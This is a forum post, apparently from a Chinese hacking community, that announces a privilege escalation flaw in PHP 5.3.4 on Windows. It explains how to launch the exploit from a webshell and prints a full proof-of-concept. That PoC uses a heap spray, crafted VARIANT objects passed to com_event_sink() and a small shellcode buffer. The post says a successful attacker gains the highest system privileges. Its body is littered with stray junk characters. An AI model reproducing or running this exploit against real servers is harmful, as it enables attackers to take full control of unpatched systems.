找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
- n/ h' R) Z- E3 |! @5 ]; u( J' D1 h/ A$ s' w1 b
测试方法如下:cmd /c x:\php\php.exe x:\test.php
( W: R$ a* D: c. w  Z' Y
$ N1 |% k5 s0 P4 P下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php7 _  ]& e' P# i" F8 ]
这里是两个测试的截图:
0 ~+ l' {0 L2 z1 {7 e. Q4 k4 ]) U8 m$ Q: E

8 H/ F1 F1 T: u; _: y, g( i8 N
" i8 N' F6 r+ R8 E$ F7 P
7 l# L6 h2 X# Q: k# t; W, c1 f/ W. Z! N  b
成功利用此漏洞的攻击者将获得系统的最高权限, ?) ?( |7 K  V% z& r
) m0 u( E8 @+ z2 h3 u  ~: R
. ?: E0 Y( p9 C9 }( ?* f
5 K+ H. x$ ~6 K# h6 a& i

& K& ]2 W" f0 M. }& {; e2 h$ B& Y- R' e; n
关于漏洞分析稍后附上。一下是PoC代码:6 Z) ~& k3 g! L
) j; q# D3 L$ ^* [
<?php
3 S% o- k& D* ?4 J9 ?//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
4 T. ~* m7 U0 t$ S8 [//$eip ="\x44\x43\x42\x41";
8 }+ i# \) k0 o/ v7 f& O4 h) v$eip= "\x4b\xe8\x57\x78";4 v3 P+ [. P7 Z9 w2 ^" U
$eax ="\x80\x01\x8d\x04";
9 V, A- k  G8 w/ P2 W6 d& W$deodrant="";
- X$ h  H8 q( i- P  m$axespray = str_repeat($eip.$eax,0x80);
, V% i' s0 G- \' l* h+ y) i//048d0190
5 h' i! }, U1 D/ d/ [7 j0 m0 ^  Iecho strlen($axespray);
/ I' o% w( Y2 z  \echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
; v# j! D0 c$ v1 a) P- recho "Silic Group Hacker Army - BlackBap.Org";
' ~! a: }2 G0 B* w, }4 b4 q  i//19200 ==4B32 4b006 |7 n1 G5 p6 V1 U
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}: V* W4 R, H1 [& W, i* i9 ]% a
$terminate = "T";
6 ^4 @3 O; a, \2 ]0 ^+ ?4 n$u[] =$deodrant;
- N1 X: s9 v  Z+ J/ Z: U7 J$r[] =$deodrant.$terminate;
6 M7 e; k% k2 _. }# [5 w$a[] =$deodrant.$terminate;
! W0 o1 t% q# ~, ~. A& o$s[] =$deodrant.$terminate;" I3 s5 p) n4 b, r# t
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
$ \6 b# o: u3 B( m) k' m7 g6 V$vVar = new VARIANT(0x048d0000+180);% m4 y) [! A! X" ?3 _
//弹窗代码(Shellcode)" j2 {! O5 Z( Y7 H3 T- C
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";/ ?1 Y7 Q3 o" q
$var2 = new VARIANT(0x41414242);
" Q0 r4 |. T$ O7 v0 H8 ]) T) Jcom_event_sink($vVar,$var2,$buffer);6 M' ?* T- ~5 V+ P3 N  d, h
?>6 z' }" X8 e" k% w

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表